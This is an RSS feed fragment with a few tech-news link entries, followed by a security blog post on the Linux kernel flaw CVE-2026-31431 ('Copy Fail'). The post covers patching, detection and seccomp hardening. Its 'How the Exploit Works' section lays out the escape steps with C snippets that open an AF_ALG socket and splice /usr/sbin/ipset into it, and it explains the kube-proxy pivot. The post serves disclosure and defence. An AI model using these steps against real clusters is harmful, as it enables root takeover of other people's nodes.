<h3 id="h3-inside-opensearchs-bid-to-become-the-default-ai-data-layer" class="group relative scroll-mt-24">
        <a href="#h3-inside-opensearchs-bid-to-become-the-default-ai-data-layer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Inside OpenSearch’s bid to become the default AI data layer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-inside-opensearchs-bid-to-become-the-default-ai-data-layer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most of the engineering teams I work with started with open source OpenSearch for log analytics and enterprise search. But The post Inside OpenSearch’s bid to become the default AI data layer appeared</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/opensearch-ai-data-layer/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-trust-problem-with-ai-agents-in-production-pipelines" class="group relative scroll-mt-24">
        <a href="#h3-the-trust-problem-with-ai-agents-in-production-pipelines" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Trust Problem With AI Agents in Production Pipelines
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-trust-problem-with-ai-agents-in-production-pipelines"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI agents boost DevOps pipelines, but confident failures create risk. Here’s how to design for calibrated trust and human oversight.</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/the-trust-problem-with-ai-agents-in-production-pipelines/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-jetbrains-academy-april-digest" class="group relative scroll-mt-24">
        <a href="#h3-jetbrains-academy-april-digest" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 JetBrains Academy – April Digest
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-jetbrains-academy-april-digest"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hey! April brought many good reasons to open your IDE. Learn about a new DeepLearning.AI collab on spec-driven development, a beginner-friendly full-stack chat app course, a Kotlin certificate you can</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/education/2026/05/01/jetbrains-academy-april-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-may-1-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-may-1-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — May 1, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-may-1-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>TechCrunch - Red Hat’s OpenClaw maintainer just made enterprise Claw deployments a lot saferRed Hat’s Sally O’Malley released Tank OS, an open-source tool simplifying safe OpenClaw agent deployment. A</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-may-1-2026-red-hat"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[CVE-2026-31431 Copy Fail: A 4-Byte Kernel Write That Escapes Containers]]></title>
      <link>https://devops.anhp.site/posts/copy-fail-cve-2026-31431-linux-container-escape</link>
      <description><![CDATA[A new Linux kernel bug lets any unprivileged process flip 4 bytes in the page cache and break out of a container. runtime-default seccomp does not block it. Here is what to do.]]></description>
      <pubDate>Sun, 03 May 2026 13:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/copy-fail-cve-2026-31431-linux-container-escape</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[security]]></category><category><![CDATA[linux]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[containers]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[seccomp]]></category>
      <content:encoded><![CDATA[<p>If you run Linux containers in production, the answer to &quot;are we exposed?&quot; is almost certainly yes. CVE-2026-31431, nicknamed Copy Fail, is a privilege escalation in the Linux kernel&#39;s <code>algif_aead</code> crypto code that gives any unprivileged process a 4-byte write into the page cache of any readable file. From there, it is a clean container-to-host escape on Kubernetes, and the seccomp profile most platform teams trust does not stop it.</p>
<p>Disclosure landed on May 1, 2026. The PoC is on GitHub. The page-cache trick that turns a 4-byte write into root execution depends on a property every Kubernetes node has by default, which means most clusters running unpatched kernels are exposed today.</p>
<p>Here is what is going on and what to do about it.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>CVE</td>
<td>CVE-2026-31431</td>
</tr>
<tr>
<td>Nickname</td>
<td>Copy Fail</td>
</tr>
<tr>
<td>Class</td>
<td>Linux kernel privilege escalation, container escape</td>
</tr>
<tr>
<td>Subsystem</td>
<td>Crypto API, <code>algif_aead</code></td>
</tr>
<tr>
<td>Disclosed</td>
<td>May 1, 2026</td>
</tr>
<tr>
<td>Found by</td>
<td>Xint</td>
</tr>
<tr>
<td>Patch</td>
<td>Mainline commit <code>a664bf3d603d</code></td>
</tr>
<tr>
<td>Affected</td>
<td>Most Linux distros on unpatched kernels: Ubuntu, RHEL 8/9, Debian, Fedora, SUSE, Amazon Linux, Arch, CloudLinux</td>
</tr>
<tr>
<td>What runtime-default seccomp does</td>
<td>Nothing</td>
</tr>
<tr>
<td>What you do</td>
<td>Patch the host kernel, drop a custom seccomp profile blocking AF_ALG, audit privileged DaemonSets</td>
</tr>
</tbody></table>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Xint disclosed CVE-2026-31431 on May 1, 2026 with a working proof of concept. The bug lives in an in-place optimization the Linux kernel added to its AEAD crypto path back in 2017, where the kernel reuses the source buffer as the destination during cryptographic operations to avoid an allocation.</p>
<p>The optimization is unsafe when it is driven by the userspace crypto API (AF_ALG sockets) and combined with the <code>splice()</code> syscall. By racing those two, an unprivileged process can persuade the kernel to perform a deterministic 4-byte write into the page cache of any file the process can read.</p>
<p>Four bytes does not sound like much. The trick is that the page cache is shared. Every container on a node that uses the same base image layer is reading from the same physical pages. So is the host. So is <code>kube-proxy</code>. So are the privileged DaemonSets on every other node that pulled the same image.</p>
<p>The published Kubernetes PoC (<a href="https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC">Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC</a>) targets <code>/usr/sbin/ipset</code>, which <code>kube-proxy</code> invokes as root. An unprivileged pod corrupts the page-cache copy of <code>ipset</code>, then waits for <code>kube-proxy</code> to run it. When the DaemonSet executes the binary, it pulls the corrupted bytes from the cache and the attacker gets root execution on the node.</p>
<h2 id="h2-how-the-exploit-works" class="group relative scroll-mt-24">
        <a href="#h2-how-the-exploit-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Exploit Works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-exploit-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The exploit chains three things: the AF_ALG userspace crypto API, the <code>splice()</code> syscall, and the kernel&#39;s page cache. Here is the sequence.</p>
<h3 id="h3-step-1-open-an-af_alg-socket" class="group relative scroll-mt-24">
        <a href="#h3-step-1-open-an-af_alg-socket" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Open an AF_ALG socket
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-1-open-an-af_alg-socket"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The userspace crypto API lets any process ask the kernel to do crypto. You do not need root, and you do not need any capability. A plain <code>socket()</code> call is enough:</p>
<pre><code class="hljs language-c"><span class="hljs-type">int</span> s = socket(AF_ALG, SOCK_SEQPACKET, <span class="hljs-number">0</span>);
<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sockaddr_alg</span> <span class="hljs-title">sa</span> =</span> {
    .salg_family = AF_ALG,
    .salg_type   = <span class="hljs-string">&quot;aead&quot;</span>,
    .salg_name   = <span class="hljs-string">&quot;authencesn(hmac(sha256),cbc(aes))&quot;</span>,
};
bind(s, (<span class="hljs-keyword">struct</span> sockaddr *)&amp;sa, <span class="hljs-keyword">sizeof</span>(sa));
</code></pre><p>That is the surface area. The <code>algif_aead</code> template is what enables the in-place optimization. No syscalls beyond <code>socket</code>, <code>bind</code>, <code>setsockopt</code>, and <code>splice</code> are required.</p>
<h3 id="h3-step-2-splice-a-target-page-in" class="group relative scroll-mt-24">
        <a href="#h3-step-2-splice-a-target-page-in" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Splice a target page in
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-2-splice-a-target-page-in"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><code>splice()</code> lets you move bytes between a file descriptor and a pipe without copying through userspace. The exploit uses it to point the kernel&#39;s AEAD operation at a page from the target file (a setuid binary, or a binary like <code>ipset</code> that a privileged process will execute):</p>
<pre><code class="hljs language-c"><span class="hljs-type">int</span> pipefd[<span class="hljs-number">2</span>];
pipe(pipefd);
<span class="hljs-type">int</span> target = open(<span class="hljs-string">&quot;/usr/sbin/ipset&quot;</span>, O_RDONLY);
splice(target, <span class="hljs-literal">NULL</span>, pipefd[<span class="hljs-number">1</span>], <span class="hljs-literal">NULL</span>, <span class="hljs-number">4096</span>, <span class="hljs-number">0</span>);
splice(pipefd[<span class="hljs-number">0</span>], <span class="hljs-literal">NULL</span>, alg_fd, <span class="hljs-literal">NULL</span>, <span class="hljs-number">4096</span>, <span class="hljs-number">0</span>);
</code></pre><p>The page cache now holds the file content. Because the kernel reuses the source as the destination during the AEAD transform, the encrypted output gets written back over the same page the file was read from.</p>
<h3 id="h3-step-3-race-the-bound-check-and-write-4-bytes" class="group relative scroll-mt-24">
        <a href="#h3-step-3-race-the-bound-check-and-write-4-bytes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: Race the bound check and write 4 bytes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-3-race-the-bound-check-and-write-4-bytes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The exploit forces the AEAD operation into a path where the scatter-gather list bounds check happens before, but the actual copy happens after, an attacker-controlled length change. That race produces a 4-byte write at a controlled offset into the page that is now serving as the kernel&#39;s view of <code>/usr/sbin/ipset</code>.</p>
<p>Four bytes is enough to plant a near-immediate jump or to redirect a function-pointer inside an ELF binary. The exploit picks an offset that turns the binary into a small loader for the attacker payload.</p>
<h3 id="h3-step-4-wait-for-the-privileged-process" class="group relative scroll-mt-24">
        <a href="#h3-step-4-wait-for-the-privileged-process" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Wait for the privileged process
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-4-wait-for-the-privileged-process"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Now the attacker waits. As soon as a privileged process on the host or in another container reads the file, it reads the corrupted bytes. On a Kubernetes node, <code>kube-proxy</code> runs <code>/usr/sbin/ipset</code> regularly to manage iptables rules, so the wait is measured in seconds.</p>
<p>When <code>kube-proxy</code> runs the corrupted binary, the attacker pivots from an unprivileged pod to root execution on the node.</p>
<h2 id="h2-why-runtime-default-seccomp-does-not-save-you" class="group relative scroll-mt-24">
        <a href="#h2-why-runtime-default-seccomp-does-not-save-you" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why runtime-default seccomp does not save you
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-runtime-default-seccomp-does-not-save-you"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Most platform teams assume <code>seccomp=runtime-default</code> keeps userspace-crypto-API tricks like this out of containers. It does not.</p>
<p>The <a href="https://juliet.sh/blog/we-tested-copy-fail-in-kubernetes-pss-restricted-runtime-default-af-alg">juliet.sh test write-up</a> confirmed this on both Talos v1.12.2 (containerd 2.1.6) and Amazon EKS (containerd 2.2.1). A non-root pod with all capabilities dropped and <code>seccompProfile.type: RuntimeDefault</code> opened an AF_ALG socket on every distro tested. Pod Security Standards <code>restricted</code> did not block it either.</p>
<p>The reason is that the default profiles deny <code>socket(AF_VSOCK, ...)</code> but not <code>socket(AF_ALG, ...)</code>. AF_ALG is considered a normal userspace API. Until the kernel patches roll out, &quot;default seccomp&quot; effectively means &quot;no protection against this CVE.&quot;</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you run any modern Linux distro and have not picked up the kernel update from May 1, 2026 or later, assume yes.</p>
<h3 id="h3-check-your-kernel-version" class="group relative scroll-mt-24">
        <a href="#h3-check-your-kernel-version" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check your kernel version
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-your-kernel-version"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Host kernel</span>
<span class="hljs-built_in">uname</span> -r

<span class="hljs-comment"># Patch landed in mainline. The fix is the cherry-pick of commit a664bf3d603d.</span>
<span class="hljs-comment"># Distro CVE trackers will tell you the first patched package version.</span>
<span class="hljs-comment"># Ubuntu:        ubuntu.com/security/CVE-2026-31431</span>
<span class="hljs-comment"># RHEL:          access.redhat.com/security/cve/CVE-2026-31431</span>
<span class="hljs-comment"># Debian:        security-tracker.debian.org/tracker/CVE-2026-31431</span>
<span class="hljs-comment"># Amazon Linux:  alas.aws.amazon.com (search for CVE-2026-31431)</span>
<span class="hljs-comment"># SUSE:          suse.com/security/cve/CVE-2026-31431</span>
</code></pre><h3 id="h3-check-whether-af_alg-is-reachable-from-your-pods" class="group relative scroll-mt-24">
        <a href="#h3-check-whether-af_alg-is-reachable-from-your-pods" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check whether AF_ALG is reachable from your pods
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-whether-af_alg-is-reachable-from-your-pods"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Drop this into a debug pod in a non-production cluster to confirm exposure:</p>
<pre><code class="hljs language-bash">kubectl run alg-check --<span class="hljs-built_in">rm</span> -it --restart=Never \
  --image=alpine:3.20 -- sh -c <span class="hljs-string">&#x27;
apk add --no-cache python3
python3 -c &quot;
import socket
try:
    s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    s.bind((\&quot;aead\&quot;, \&quot;authencesn(hmac(sha256),cbc(aes))\&quot;))
    print(\&quot;VULNERABLE: AF_ALG bind succeeded\&quot;)
except OSError as e:
    print(f\&quot;BLOCKED: {e}\&quot;)
&quot;
&#x27;</span>
</code></pre><p>If you see <code>VULNERABLE: AF_ALG bind succeeded</code>, your pods can reach the kernel surface that Copy Fail needs.</p>
<h3 id="h3-check-for-known-iocs" class="group relative scroll-mt-24">
        <a href="#h3-check-for-known-iocs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check for known IoCs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-for-known-iocs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The published PoC writes a marker file under <code>/tmp</code> on the host after pivot. Search your nodes:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># On each node</span>
<span class="hljs-built_in">sudo</span> find / -name <span class="hljs-string">&quot;copyfail-*&quot;</span> -mtime -7 2&gt;/dev/null

<span class="hljs-comment"># Audit recent ipset binary modifications</span>
<span class="hljs-built_in">sudo</span> <span class="hljs-built_in">stat</span> /usr/sbin/ipset
</code></pre><p>If you see binaries with modification times that do not match your distro package install date, treat the node as compromised.</p>
<h2 id="h2-what-to-do-right-now" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-right-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Right Now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-right-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-patch-the-host-kernel" class="group relative scroll-mt-24">
        <a href="#h3-1-patch-the-host-kernel" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Patch the host kernel
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-patch-the-host-kernel"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is the only real fix. The mainline commit is <code>a664bf3d603d</code>. As of May 3, 2026 distros are at varying states of patch availability:</p>
<table>
<thead>
<tr>
<th>Distro</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td>Ubuntu</td>
<td>Most kernels not yet patched, monitor USN</td>
</tr>
<tr>
<td>Debian sid/unstable</td>
<td>Patched</td>
</tr>
<tr>
<td>Debian stable/bookworm</td>
<td>Not patched</td>
</tr>
<tr>
<td>RHEL 8/9</td>
<td>Patches in progress</td>
</tr>
<tr>
<td>Fedora</td>
<td>Patches in progress</td>
</tr>
<tr>
<td>SUSE/SLES</td>
<td>Patches in progress</td>
</tr>
<tr>
<td>Amazon Linux</td>
<td>Patches in progress</td>
</tr>
<tr>
<td>CloudLinux</td>
<td>Not patched</td>
</tr>
<tr>
<td>Arch Linux</td>
<td>Likely patched on <code>linux</code> package update</td>
</tr>
</tbody></table>
<p>Apply the kernel update and reboot the nodes through your normal node-maintenance flow. If you are running a managed Kubernetes service, the cloud vendor will roll out node images in their usual cadence. AWS, GCP, and Azure all have advisories tied to this CVE; check their status pages for your cluster&#39;s node image SKU.</p>
